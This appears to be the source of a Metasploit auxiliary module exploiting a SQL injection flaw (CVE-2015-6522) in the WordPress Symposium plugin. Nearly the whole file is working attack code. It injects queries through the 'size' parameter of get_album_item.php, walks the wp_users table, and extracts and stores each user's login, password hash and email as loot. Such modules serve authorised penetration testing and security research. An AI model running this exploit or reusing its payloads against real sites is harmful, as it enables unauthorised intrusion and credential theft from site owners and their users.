metasploit-framework/modules/auxiliary/admin/http/wp_symposium_sql_injection.rb

151 lines
4.4 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Symposium Plugin SQL Injection',
'Description' => %q{
This module exploits a SQL injection vulnerability in the WP Symposium plugin
before 15.8 for WordPress, which allows remote attackers to extract credentials
via the size parameter to get_album_item.php.
},
'Author' =>
[
'PizzaHatHacker', # Vulnerability discovery
'Matteo Cantoni <goony[at]nothink.org>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-6522'],
['EDB', '37824']
],
'DisclosureDate' => 'Aug 18 2015'
))
register_options(
[
OptString.new('URI_PLUGIN', [true, 'The WordPress Symposium Plugin URI', 'wp-symposium'])
], self.class)
end
def check
check_plugin_version_from_readme('wp-symposium', '15.8.0', '15.5.1')
end
def uri_plugin
normalize_uri(wordpress_url_plugins, datastore['URI_PLUGIN'], 'get_album_item.php')
end
def send_sql_request(sql_query)
uri_complete = normalize_uri(uri_plugin)
begin
res = send_request_cgi(
'method' => 'GET',
'uri' => uri_complete,
'vars_get' => { 'size' => sql_query }
)
return nil if res.nil? || res.code != 200 || res.body.nil?
res.body
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
vprint_error("#{peer} - The host was unreachable!")
return nil
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :nonreplayable_hash,
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run
vprint_status("#{peer} - Attempting to connect...")
vprint_status("#{peer} - Trying to retrieve the first user id...")
first_id = send_sql_request('id from wp_users order by id asc limit 1 ; --')
if first_id.nil?
vprint_error("#{peer} - Failed to retrieve the first user id... Try with check function!")
return
else
vprint_status("#{peer} - First user-id is '#{first_id}'")
end
vprint_status("#{peer} - Trying to retrieve the last user id...")
last_id = send_sql_request('id from wp_users order by id desc limit 1 ; --')
if last_id.nil?
vprint_error("#{peer} - Failed to retrieve the last user id")
return
else
vprint_status("#{peer} - Last user-id is '#{last_id}'")
end
credentials = ""
vprint_status("#{peer} - Trying to retrieve the users informations...")
for user_id in first_id..last_id
separator = Rex::Text.rand_text_numeric(7,bad='0')
user_info = send_sql_request("concat_ws(#{separator},user_login,user_pass,user_email) from wp_users where id = #{user_id} ; --")
if user_info.nil?
vprint_error("#{peer} - Failed to retrieve the users info")
return
else
values = user_info.split("#{separator}")
user_login = values[0]
user_pass = values[1]
user_email = values[2]
print_good("#{peer} - #{sprintf("%-15s %-34s %s", user_login, user_pass, user_email)}")
report_cred(
ip: rhost,
port: datastore['RPORT'],
service_name: datastore['SSL'] ? 'https' : 'http',
user: user_login,
password: user_pass,
proof: user_email
)
credentials << "#{user_login},#{user_pass},#{user_email}\n"
end
end
unless credentials.empty?
loot = store_loot("wp_symposium.http","text/plain", rhost, credentials)
vprint_status("Credentials saved in: #{loot}")
end
end
end